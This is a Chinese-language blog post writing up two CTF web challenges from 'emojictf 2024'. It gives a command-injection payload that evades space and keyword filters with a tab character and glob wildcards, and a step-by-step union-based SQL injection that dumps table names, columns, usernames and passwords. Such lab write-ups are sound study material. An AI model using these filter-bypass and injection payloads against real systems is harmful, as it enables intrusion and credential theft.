Mirror, mirror on the wall, who's the fairest of them all?(灬°ω°灬)

web做题记录

如标题,本人在做部分很简单的web题目总是想不起来要用什么知识点(没有好好翻看笔记导致的),所以打算写一篇博客督促自己进行复习

emojictf 2024 “rce”

题目提示:flag in flag.txt

进入环境,什么都没有↓

132465878

此时先尝试右键查看源码,然后发现右键被ban了

20241125221105

直接加 view-source: 前缀查看源代码

20241125221144

去到robots.txt看到/fl@g.php,直接访问

20241125221816

先粗略分析一波,发现ls没禁,所以直接看,并看到flag.txt在当前目录,所以就可以开始针对绕过进行构造。这里我看网上的wp有一篇提到了tail命令可以直接用(https://lobsssa5dd5.github.io/2024/06/06/emojictf%20web&misc/), 但我当时并没有想到这个,说下我的思路。


首先ban了空格,想办法对空格进行绕过。很明显的是${IFS}、$IFS$9被直接ban了,%20由于url转义也是用不了的,于是我想到了%09水平制表符


那么空格解决了,flag.txt正则凑一下也有了,现在还需要一个函数。我在这里想到了cat命令所在的路径>/bin/cat>。很明显这个路径是可以用正则表达式凑的,于是我最终成功拿到flag。

exp:

?emo=/?i?/?at%09?la?.???

emojictf 2024 “e4_sql”

1732602932434

进入环境,首先先1’ or 1=1#,发现登录失败,先是推测可能登录密码不能为空,还是失败,把单引改双引,成功拿到如下信息


1732603106787


用这个账密登录,还是不行,说明登录界面可能是个摆设,需要我们去数据库查询。于是先用order by看有多少行


1" or 1=1 order by 1#


但是flag直接弹出来了,有点…


1732603303987


我们先当flag并没有弹出来,然后order by判断出来有两行(1” or 1=1 order by 3#时报错),于是就可以联合注入了。


1" union select 1,database()#


1732603451747


此时把数据库名爆出来了,下一步就是爆表名


1" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='students')#


1732603664306


只有一个表,且表名为information,那么我们针对这个表开始爆列名


1” union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='students' and table_name='information')#


1732603890140


最后把所有值全部爆出来,就能成功看到flag


1" union select group_concat(username),group_concat(password) from information#

  • Copyrights © 2024 nlqx
  • Visitors: | Views: